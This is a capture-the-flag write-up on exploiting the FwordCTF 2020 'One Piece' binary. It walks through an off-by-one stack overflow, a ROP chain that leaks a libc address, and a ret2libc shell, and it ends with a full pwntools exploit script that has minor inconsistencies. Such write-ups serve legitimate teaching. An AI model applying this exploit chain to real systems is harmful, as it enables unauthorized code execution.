FwordCTF2020 - One Piece challange (Binary Exploitation)
05 / 09 / 2020
Description:

Luffy has started learning Binary Exploitation recently.
He sent me this binary and said that I have to find the One Piece. Can you help me ?

nc onepiece.fword.wtf 1238

Author : haflout

The challange contains single binary file called `one_piece`. Running file over it prints:

one_piece: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=a4c7abad8f737059cd37630923777a5179a9ef8b, not stripped
        

pwntools gives us:

[*] '/home/holz/etc/ctf/fwordctf2020/One Piece/one_piece'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
        

Pretty standard, but no stack canary - that's good news we might use that in future. So, let's run the binary and do some high level analysis.

$ ./one_piece
Can you find the One Piece ?
         - read
         - run
         - exit
(menu)>>
        

Ok, so we have 3 options. Let's try the read first.

(menu)>> read
Give me your devil-shellcode :
>>
        
And it waits for the input.
>>asdf
(menu)>>
        

Ok, nothing iteresting, lets try again with something longer ;] I generated a bit longer string with

python -c 'print('A'*1024)'
        
I copied and pasted the stream of A's. In reponse we get a bunch of:

(menu)>>can you even read ?!
(menu)>>can you even read ?!
(menu)>>can you even read ?!
(menu)>>can you even read ?!
(menu)>>can you even read ?!
(menu)>>can you even read ?!
(menu)>>can you even read ?!
(menu)>>can you even read ?!
        

and again back to the input. Lets rerun the binary, they seem to check the size of the input. Let's type 'run' command now.

I've read about the NX bit but I didn't get it :(
(menu)>>
        

and we are back in the menu. Ok, "NX bit but I didn't get It", huh? Perhaps some page might not be NX protected. If so, we could write the shellcode and execute It there. We would only have to find a way to write and redirect execution there. We will leave it for later. And the exit option, simply exits from application. Ok, we have some general idea of what the binary is. Let's analyze further with radare.

cutter's project loading window One Piece's main function

The main function is not that interesting as u can see. It just calls some buffer initializing routine and then choice(). Let's see what choice() does.

It prints the menu and waits for the input. Then compares the input from user with strings from the menu. But, there is one hidden entry that calls mugiwara() function. We can reach it by entering 'gomugomunomi' string in the menu. Let's confirm that.

$ ./one_piece
Can you find the One Piece ?
         - read
         - run
         - exit
(menu)>>gomugomunomi
Luffy is amazing, right ? : 55d01ddf3a3a
Wanna tell Luffy something ? :
asdf
(menu)>>
        

Yep. After that It waits for the user input. And seems to just quit after the input. Let's look closer using radare. We can see that it prints the Luffy... message and some hex number. Looks like some address.

mugiwara main block disassembly

The important bit is that lea rax, [0x00000a3a] uses relative addressing (we are in long mode), so whatever It is, we can use It to calculate address where the binary has been loaded.

Let's make a step back. It got some argument that it saved on the stack. Radare is calling it var_38h, and we seem to use it later in the code. Quick check in the choice() function disassembly says that we passed It a poiter to local buffer. We can see that It is also referenced from the read function. So whatever was read in the read menu entry will be passed to this mugiwara function.

readSC function disassembly

Ok Let's get back to the disassembly. We can see a loop over the passed argument. The loop will execute at most 0x28 times (comapre is jbe 0x27, so equals also passes), also ends when we spot a null byte in the buffer.

mugiwara disassembly of the right branch

First it loads a char from buffer and copies it to the local stack buffer, rax is used for indexing. If read byte is 0x7a (ASCII 'z') we additionally patch it with 0x89 byte in the buffer on the next position. Then we increment the index and and buffer pointer and loop back. It seems like some kind of sanitizing / escaping function for user input. Let's see what attacker can controll when the input is read.

Stack based buffer overflow vulnerability

We head back to the readSC function which is called when we enter 'read' option in the menu. It eventually calls read with size 0x28. Yeah, the vulnerability is just in front of out eyes. Mugiwara used jbe 0x27, so It would execute 28 times at most, but if the input ends with 0x7a (ASCII 'z') It will be escaped which will write one byte past the local buffer in mugiwara. Let's see what we can override.

Just behind our local buffer there is 'size' variable on he stack. It is used later in the left branch, which we enter after sanitizing all 0x7a bytes with 0x89. Then we print "Wanna tell Luffy..." string and get the string for the Luffy that is at most "size" length to the local buffer.

mugiwara disassembly of the left branch

The buffer is 0x28 bytes long and the size variable originally contains that value. If we overwrite It's least significant byte with 0x89 we would be able to read past local buffer on the exiting fgets. This should be just enough to override return address on the stack and redirect execution.

Quick reminder: remember that at the beggining we identified that the binary has no canary protection enabled, so the BOF should be obtainable.

Let's take a look at the stack structure


                                                  RBP - 0x08               RBP - 0x38
                                                      |                        |     
                                                      v                        v     
[OLD STACK FRAME .... ] [RET] [OLD RBP] [var_4h] [size] [local buffer] [&buffer]
                                      ^        ^                     ^                      
                                      |        |                     |                      
                                     RBP       |                     |                      
                                               |                 RBP - 0x30                 
                                           RBP - 0x04                                      
        

So the plan is:

When input is being sanitized, the bytes are written to the local buffer. We use the BOF vulnerability to override the size variable, so we can read on the fgets past the buffer. In the fgets, we have to read 0x30 bytes to get to the [OLD RBP], so additional + 8 bytes (pointers in long-mode are 64 bit), should get us where the [RET] is at. We can try to override the RET with the known value and check in debugger to test the hypothesis.

This should do the trick

echo "read" > payload
python -c 'print("A" * 0x27 + "z")' >> payload
echo "gomugomunomi" >> payload
python -c 'print("A" * 0x38 + "AAAAAAAA")' >> payload

gdb ./one_piece
r < payload

(...)
Program received signal SIGSEGV, Segmentation fault.
0x0000555555554a3e in mugiwara ()
(...)
0x555555554a3e     ret    <0x4141414141414141>
(...)
        

And we get glorified RIP = 0x41414141414141 \o/ Which means we can redirect execution wherever we want.

But where to redirect? ROP + ret2libc attack

The end-goal would be calling execve('/bin/sh', ... ) or system('/bin/sh'). Scanning the binary doesnt reveal any system or execve calls, which means the PLT entries are missing.

Let's do the ret2libc attack. First we have to find address of the system. It is not in the PLT and ASLR is enabled, so we have to leak the libc base and then calculate address of system within libc.

We will leak the address of the libc from the populated GOT. At this point It is populated since read menu entry uses the puts call. To leak the puts address we can use puts itself from the PLT. amd64 ABI says that the first argument is passed in the RDI, so we have to find a way to inject puts@got entry address in the RDI and call puts, this way It will simply print this to us. Stack is not executable, so we will use ROP attack.

Quick scan reveals some gadgets:

{1803: Gadget(0x70b, ['add esp, 8', 'ret'], [], 0xc),
 1802: Gadget(0x70a, ['add rsp, 8', 'ret'], [], 0xc),
 2621: Gadget(0xa3d, ['leave', 'ret'], ['ebp', 'esp'], 0x2540be403),
 2972: Gadget(0xb9c, ['pop r12', 'pop r13', 'pop r14', 'pop r15', 'ret'] ...),
 2974: Gadget(0xb9e, ['pop r13', 'pop r14', 'pop r15', 'ret'], ...),
 2976: Gadget(0xba0, ['pop r14', 'pop r15', 'ret'], ['r14', 'r15'], 0xc),
 2978: Gadget(0xba2, ['pop r15', 'ret'], ['r15'], 0x8),
 2971: Gadget(0xb9b, ['pop rbp', 'pop r12', 'pop r13', 'pop r14', ... )
 2975: Gadget(0xb9f, ['pop rbp', 'pop r14', 'pop r15', 'ret'] ... )
 2048: Gadget(0x800, ['pop rbp', 'ret'], ['rbp'], 0x8),
 2979: Gadget(0xba3, ['pop rdi', 'ret'], ['rdi'], 0x8),
 2977: Gadget(0xba1, ['pop rsi', 'pop r15', 'ret'], ['rsi', 'r15'], 0xc),
 2973: Gadget(0xb9d, ['pop rsp', 'pop r13', 'pop r14', 'pop r15', 'ret'] ...),
 1806: Gadget(0x70e, ['ret'], [], 0x4)}
        

We can see pop rdi gadget at 0xba3:

2979: Gadget(0xba3, ['pop rdi', 'ret'], ['rdi'], 0x8)
        

Leaking libc load address - ASLR bypass

PLT's address is always relative to the binary, so If we know binary address we know the PLT address and the puts@plt offset is known before running the binary. The address of the binary can be obtained from the local address printed by message we saw earlier

$ ./one_piece
Can you find the One Piece ?
         - read
         - run
         - exit
(menu)>>gomugomunomi
Luffy is amazing, right ? : 55d01ddf3a3a
Wanna tell Luffy something ? :
asdf
(menu)>>
        

We just have to adjust for the page boundary.

address & (2**64 - 0x1000) should do the trick.
        

So we have the base of the binary.

plt = binary_base + plt_offset
puts@plt = plt + puts_at_plt_offset

got = binary_base + got_offset
puts@got = got + puts_at_got_offset
        

The GOT and PLT offsets (from base_binary) can be obtained with:

$ readelf --sections ./one_piece

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align

       (...)

  [12] .plt              PROGBITS         0000000000000710  00000710
       0000000000000080  0000000000000010  AX       0     0     16
  [13] .plt.got          PROGBITS         0000000000000790  00000790
       0000000000000008  0000000000000008  AX       0     0     8

       (...)

  [22] .got              PROGBITS         0000000000201f88  00001f88
       0000000000000078  0000000000000008  WA       0     0     8

       (...)
        

The same way we can leak some other libc@plt functions.

Remember that all we are doing this for is to obtain system@libc address, so we can call it with '/bin/sh' and get the shell on the remote. When we have the offsets we can identify what libc is used on the remote machine and then we will know the offset of system in it.

Ok. Let's recap how stack whould look like after BOF, before the ROP payload execution.

[puts@plt] [printf@got] [POP RDI GADGET] [puts@plt] [puts@got] [POP RDI GADGET     ]
[                      OLD STACK FRAME                       ] [OLD OVERWRITTEN RET]
        

Remember when function exits it pops the return address from the stack. We have overwritten the old RET address with address of POP RDI GADGET which is just pointer to:

pop rdi
ret
        

which will pop from the stack into rdi and return.

[puts@plt] [printf@got] [POP RDI GADGET] [puts@plt] [puts@got]
        
The next thing on the stack is puts@got address so it will be poped into RDI.
[puts@plt] [printf@got] [POP RDI GADGET] [puts@plt]
        

Then we execute ret instruction which pops return address from the stack and jumps to it, and we have inserted puts@plt. This means we will return into puts with the argument of puts@got address which will effectively print whatever binary data is there. And we continue with the ROP chain to obtain the other, printf and read addresses.

[puts@plt] [printf@got] [POP RDI GADGET]
        

Addresses on amd64 are of form: 0x00007fXXXXXXXXXX where 'X' is probably some non zero byte and the 7f is most likely offset for user space when loading the binary. Puts prints c style (zero terminated) strings so it will print like 6 bytes or something. We have to adjust it with two zero bytes.

In python this should do the trick:

import struct

# \0 terminated raw puts output.
leaked_address = b'\x7f\xAA\xBB\xCC\xDD\xEE'

# append two null bytes and unpack as 64 bit little endian number.
leaked_address = struct.unpack('<Q', leaked_address + b'\x00\x00')
        

So, when we leak some resolved addresses from GOT, we can do a libc database scan to guess the version based on the offsets. I will use the libc-database project.

I've got the libc-2.32-1-x86_64 and the info:

BuildID f45b67ab28af1581cba8e4713e0fd3b2bc004b2e
MD5     ecf9093714164f90e27f21fadf30e5ec
__libc_start_main_ret   0x28152
dup2    0xf17b0
printf  0x58b10
puts    0x77380
read    0xf0eb0
str_bin_sh      0x18de78
system  0x4a830
write   0xf0f50
        
We can see the system and str_bin_sh offsets inside libc. It's cool that the '/bin/sh' string is present in the libc itself. We dont have to write It anywhere, we will just use the existing one in the binary. The only thing we need now is libc base address under which it was loaded at runtime (remember that we have to bypass ASLR protection).
libc_address = puts@got - puts@libc
        

Now we have everything. Let's construct the last ROP payload to get the shell. After we identified the libc version, we dont have to leak the addrress of printf and read like I did before. I just did this to narrow the libc database search. We just have to leak puts address to bypass ASLR. So, this should do the trick:

[system@libc] [str_bin_sh@libc] [POP RDI GADGET] [puts@plt] [puts@got] [POP RDI GADGET]
[                        OLD STACK FRAME                             ] [      RET     ]
        

First we leak the puts@plt to calculate the offsets and bypass ASLR and then we jump into system with '/bin/sh' string as argument.

Below is the python exploit written with the use of pwntools ( github ):

$ cat own.py
#!/usr/bin/python3
from pwn import *
import time

elf = context.binary = ELF('./one_piece')
context.log_level = 'INFO'
context.terminal = 'alacritty'

libc_path = '~/Downloads/libc-2.32-1-x86_64'
libc = ELF(libpath + 'libc-2.30.so')
p = process(elf.path)
#p = remote('onepiece.fword.wtf', 1238)

p.recvuntil('>>')
p.sendline('read')
p.recvuntil('>>')
p.send('A' * 0x27 + 'z')
p.recvuntil('>>')
p.sendline('gomugomunomi')
p.recvuntil('amazing, right ? : ')

whatisthis = p.recvline().strip()
mugiwara = (int(whatisthis,16) & (2**64 - 0x1000)) + elf.sym.mugiwara

log.info('mugiwara: ' + hex(mugiwara))
elf.address = mugiwara - elf.sym.mugiwara
log.info('elf.address: ' + hex(elf.address))

# Wanna tell Luffy something?
p.recvline()
rop = ROP([elf])
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

payload = 0x38 * b'A'
payload += p64(pop_rdi)
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
#payload += p64(pop_rdi)
#payload += p64(elf.got.printf)
#payload += p64(elf.plt.puts)
#payload += p64(pop_rdi)
#payload += p64(elf.got.read)
#payload += p64(elf.plt.puts)
payload += p64(elf.sym.choice)

p.sendline(payload)

puts = u64(p.recvline().strip() + b'\x00\x00')
libc.address = puts - libc.sym.puts

log.info(f'{puts=:x} ')
log.info(f'{libc.address=:x} ')

system_offset = 0x4a82f
libc_system = libc.address + system_offset
str_bin_sh = libc.address + 0x18de78

log.info(f'{libc_system=:x} ')

p.recvuntil('>>')
p.sendline('gomugomunomi')
p.recvuntil('amazing, right ? : ')

payload = 0x38 * b'A'
payload += p64(pop_rdi)
payload += p64(str_bin_sh)
payload += p64(libc_system)

p.sendline(payload)

p.interactive()

$ ./pwn.py
[*] '/home/holz/etc/ctf/fwordctf2020/One Piece/one_piece'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/holz/Downloads/libc-2.32-1-x86_64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to onepiece.fword.wtf on port 1238: Done
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '.../fwordctf2020/One Piece/one_piece': pid 24017
[*] mugiwara: 0x562cf7243998
[*] binary.address: 0x562cf7243000
[*] Loaded 14 cached gadgets for './one_piece'
[*] puts=7f3e35caf380
[*] libc.address=7f3e35c38000
[*] libc_system=7f3e35c8282f
[*] Switching to interactive mode

$ whoami
fword
$ ls
flag.txt one_piece ynetd
$ cat flag.txt
FwordCTF{0nE_pi3cE_1s_Re4l}
        

PWNed!